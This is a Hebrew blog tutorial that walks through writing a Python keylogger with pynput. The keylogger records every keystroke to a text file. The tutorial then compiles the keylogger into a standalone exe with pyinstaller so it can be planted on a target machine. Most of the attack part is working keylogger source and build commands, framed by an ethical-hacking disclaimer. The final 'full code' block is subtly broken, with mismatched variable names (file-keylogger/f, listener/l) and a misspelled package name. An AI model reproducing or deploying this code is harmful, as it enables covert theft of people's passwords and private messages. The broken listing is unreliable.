עם-השנים, הפכה שפת הסקריפטים python לחלק בלתי נפרד מתעשיית הסייבר העולמית. כיום, כמעט שלא תמצאו איש מקצוע בתחום הסייבר (ולא משנה באיזה תפקיד) שלא, לכל הפחות, יודע לתכנת בצורה בסיסית בפייתון. למה זה עד כדי כך חשוב? כי פייתון מאפשרת לנו להיות טובים יותר במקצוע שלנו ומי שבחר בתחום הסייבר כנראה רוצה להיות טוב יותר מהאחרים. כתוקפים, פייתון תאפשר לנו לנתח אתרים ומעבדות בצורה אוטומטית, לפתור תרגילים מתמטיים מורכבים וcaptchas בשניות, לפצח סיסמאות בקלות וכמובן – לפתח כלי תקיפה חדשניים. כמגנים, פייתון תאפשר לנו ליצור סורקי רשת שיזהו איומים בצורה טובה יותר, לנתח איומים בצורה אוטומטית ועוד ועוד. אתם-יודעים, במקצוע שלנו אנחנו משחקים חתול ועכבר: מי שממצמץ ראשון, נפגע. פייתון תאפשר לנו להקדים את המגנים/יריבים שלנו בצעד אחד ולהיות בעליי סיכוי טוב יותר לצאת כשידינו על העליונה.
במדריך השבועי, שיהיה הפעם קצר ופשוט מתמיד (עובד בשבילכם על כמה פרויקטים ומדריכים חדשים (תשמעו עליהם ממש בקרוב) שדורשים ממני השקעה של הרוב הגדול של הזמן שאני מקדיש לכתיבת הבלוג), אדגים את אחת הדרכים ליצירת keylogger פשוט מאד בפייתון. keylogger זהו מקליט הקשות (ר"ת של Keystroke logging), שיקליט את ההקלדות שבוצעו במקלדת שמחוברת למחשב שמריץ את הkelogger. לאחר מכן, נלמד כיצד להפוך את קוד הkelogger לקובץ exe, ע"מ שנוכל להריצו במחשב היעד בקלות גדולה יותר. כמובן שהשימוש בkelogger יהיה רלוונטי בעיקר אם יש לנו כבר אחיזה במכשיר היעד, אז נוכל להוריד את הkelogger למכשיר, להריצו ולראות את ההקלדות בקובץ txt שיווצר מיד לאחר ההקלדה הראשונה של היעד (עם-זאת, תחשבו על כך לעומק, יש דרכים נוספות שיאפשרו לנו ליהנות מהפירות של אותו keylogger גם ללא listener במכשיר היעד, אך לא נתייחס אליהם במקרה הזה).
כבכל מדריך, גם הפעם אציין שהמדריך מיועד אך ורק עבור האקרים אתיים ועבור הכרת צורת פעולתו של התוקף. כל שימוש בלתי חוקי שייעשה בעזרת מדריך זה הינו על אחריותו הבלעדית של המבצע.
כמו-כן, אבקש להדגיש, שאם אתם טרם שולטים בתחביר של שפת פייתון, אין לכם מה לחפש במדריך הזה. הוא רק יבלבל אתכם ויהפוך אותם להאקרים פחות טובים. תעצרו לרגע, תשקיעו חודשיים-שלושה בהיכרות בסיסית עם השפה (יש קורסים נהדרים בעברית בכל מקום. גם ביוטיוב וגם של מערך הסייבר הלאומי בקמפוס IL) ותחזרו לפה. אני לא מבקש שתשלטו בשפה לפני שאתם קוראים את המדריך המאד בסיסי ופשוט הזה, אבל בהחלט שתכירו את השפה ברמה טובה. כמו שאני אומר תמיד (ואמרו גדולים ממני לפניי) – אי אפשר לעלות לקומה השנייה בלי לעבור לפני כן בקומה הראשונה, כך זה עובד בכל תחום וקל-וחומר בתחום שלנו.
לפני שאתחיל להציג בפניכם את הקוד, ארצה להסביר מה בדיוק נעשה כאן: אנו נייבא מודול שיסייע לנו לקרוא את הקשות המקלדת, אך מכיון שהקשות המקלדת כוללת גם מגון תווים, החל מenter, space ועוד אחרים, אותם המודול מטבע הדברים יציג בשמם, נרצה לשנות את שמם לכאלו שלא יפריעו לנו בקריאת הkeylogger, לדוגמא – במקום שיוצג לנו key.space (הצורה בה מציג המודול את מקש הspace), נרצה שיוצג לנו רווח פשוט. כעת נעבור לחלק המעשי.
ראשית, נייבא את מודול הפייתון pynput שמאפשר שליטה והאזנה בהתקני הפלט המחוברים למכשיר היעד (מקלדת ועכבר). אנו נשתמש במודול כמובן עבור האזנה, אך חשוב שתדעו שמודול זה רלוונטי גם לשליטה במקלדת. את המודול נייבא כמובן בעזרת הפקודה pip (או דרך עורך הקוד שלכם, אני משתמש בPycharm):
pip install pynput
לאחר מכן, נתחיל לכתוב את התוכנה שלנו. ראשית, נייבא ממודול הpynput את התכונה המאפשרת מעקב אחר הקשות:
from pynput.keyboard import Listener
לאחר שעשינו זאת, נרצה לטפל בכל המקשים הבעייתיים שיקשו עלינו לקרוא את הטקסטים שנכתבו ע"י היעד בצורה נוחה. אני מדבר על מקשים כמו space, ctrl, down, up וכו'. אני אציג את הפונקציה עבור כך ולאחר מכן אנתח אותה:
def keylogger(key):
key = str(key).replace("'", "")
if key == 'Key.space':
key = ' '
if key == 'Key.enter':
key = '\n'
if key == 'Key.up':
key = ''
if key == 'Key.right':
key = ' '
if key == 'Key.left':
key = ''
if key == 'Key.down':
key = '\n'
if key == 'Key.ctrl_l':
key = 'ctrl '
if key == '\\x03':
key = 'copy '
if key == 'Key.backspace':
key = ''
if key == '\\x18':
key = 'cut '
if key == '\\x16':
key = 'paste '
if not key.isalpha() or key.isnumeric():
key =' {0} '.format(key)
אנו יוצרים פונקציה בשם kelogger שתקבל כארגומנט את המקש שיוקש, לו אנו נותנים את השם key. לאחר מכן, אנו מסירים את הגרשיים שמגיעים מסביב כל אות בצורת הפעולה הסטנדרטית של המודול ומחליפים אותם בתו ריק בעזרת replace. כלומר, במקום שהמילה good תופיע לנו כ'g"o"o"d' המסורבל והלא קריא, היא תופיע לנו כgood.
לאחר מכן אנו מטפלים במקשים הנפוצים שאינם תווים או מספרים, אך בכל-זאת, ייתכן והמשתמש יילחץ עליהם. כאמור, לצורך הדוגמא, אנו מגדירים שאם המשתמש לחץ על מקש הspace שכברירת מחדל מוצג ע"י pynput כKey.space, המקש יוצג לנו כמקש רווח. כמו-כן, אנו מגדירים שאם המשתמש הזין תו שאינו אות או מספר, יתווסף רווח לפני האות או המספר ע"מ לא ליצור לנו בלבול בקריאת הפלט שיציג הkeglogger (זאת אנו עושים בעזרת הפונקציות המוגדרות isalpha (עבור אותיות) וisnumerice (עבור מספרים)). שימו לב שבמקרה שבהצגת המקש המקורי נעשה שימוש ע"י pynput ב/, נצטרך לנטרל את ה/ עם / נוסף.
כעת נמשיך את הפונקציה והפעם ניצור את הקובץ אליו יכתוב הkelogger את ההקשות, זאת נעשה בעזרת with statement (דרך יעילה יותר לטיפול בקבצים, שכן אנו לא צריכים לבצע גם סגירה של הקובץ כמו בשימוש סטנדרטי בopen). אנו כמובן נבצע פעולת הוספה לקובץ (a – append) ולא פעולת כתיבה, ע"מ שלא למחוק את כל התוכן הקובץ בכל כתיבה חדשה של אות:
with open('keylogger.txt', 'a') as file:
file.write(key)
אם כן, זו הפונקצייה המלאה:
def keylogger(key):
key = str(key).replace("'", "")
if key == 'Key.space':
key = ' '
if key == 'Key.enter':
key = '\n'
if key == 'Key.up':
key = ''
if key == 'Key.right':
key = ' '
if key == 'Key.left':
key = ''
if key == 'Key.down':
key = '\n'
if key == 'Key.ctrl_l':
key = 'ctrl '
if key == '\\x03':
key = 'copy '
if key == 'Key.backspace':
key = ''
if key == '\\x18':
key = 'cut '
if key == '\\x16':
key = 'paste '
if not key.isalpha() or key.isnumeric():
key =' {0} '.format(key)
with open('keylogger.txt', 'a') as file:
file.write(key)
כעת, מה שנותר לנו, זה רק להפעיל את מאזין הkelogger של המודול ולהעביר לו את פונקציית הkeylogger שכתבנו. אנו נשתמש גם ב()join שיבצע המתנה עד לסיום ההקשה ע"י המשתמש (שלא יהיה מצב שמקש כולשהו יזוהה ע"י פייתון לפני שזוהה המקש שנכתב לפניו ואם המשתמש יכתוב AB, זה יוצג לנו כBA. שימוש ב()join ללא פרמטרים אומר לפייתון: תחכה שהתו יזוהה וייכתב ואז תעבור לתו הבא):
with Listener(on_press=keylogger) as listener:
listener.join()
הקוד המלא:
from pynput.keyboard import Listener
def keylogger(key):
key = str(key).replace("'", "")
if key == 'Key.space':
key = ' '
if key == 'Key.enter':
key = '\n'
if key == 'Key.up':
key = ''
if key == 'Key.right':
key = ' '
if key == 'Key.left':
key = ''
if key == 'Key.down':
key = '\n'
if key == 'Key.ctrl_l':
key = 'ctrl '
if key == '\\x03':
key = 'copy '
if key == 'Key.backspace':
key = ''
if key == '\\x18':
key = 'cut '
if key == '\\x16':
key = 'paste '
if not key.isalpha() or key.isnumeric():
key =' {0} '.format(key)
with open('keylogger.txt', 'a') as file-keylogger:
f.write(key)
with Listener(on_press=keylogger) as listener:
l.join()
כעת, אם נפתח את הקובץ keylogger.txt (שבמקרה הזה יישמר בתיקייה בה הורץ הפייתון, אך תוכלו לשמור אותו בכל מקום שתרצו כמובן בעזרת הוספת הנתיב הרלוונטי), נראה את ההקשות שבוצעו.
הפיכת קטע-הקוד לקובץ exe
השלב-הבא שעלינו לבצע לפני החדרת הkylogger למכשיר היעד, הוא הפיכת קובץ הפייתון לקובץ exe, שיגרום לביצוע הפקודות בקוד מיד לאחר הרצתו (ולא יצריך את היעד לבצע פקודת python ע"מ להריץ את הקובץ, פעולה שלא ריאלית כשמדובר במבדק חדירה). הדרכים הפופולריות להפיכת קובץ py לקובץ exe הן שימוש בauto-py-to-exe הפשוט ובpyinstaller המומלץ. אני אדגים את השימוש בpyinstaller:
ראשית-כל, נייבא את מודול הpyinstaller בעזרת pip:
pip install pyistaller
כעת ניכנס לנתיב בו נמצא קובץ הpython שלנו, נעתיק אותו וננווט אליו בעזרת הcmd על-ידי הפקודה cd. לדוגמא:
cd /python-project/keylogger
כעת, נכתוב את הפקודה הבאה בcmd באותו נתיב בו נמצא קובץ הפייתון שלכם (במקום הkeylogger.py הכניסו את השם של הקובץ שלכם):
pyinstaller --onefile keylogger.py
כעת, תיווצר לכם תיקיית dist שם תיראו את קובץ הexe שלכם.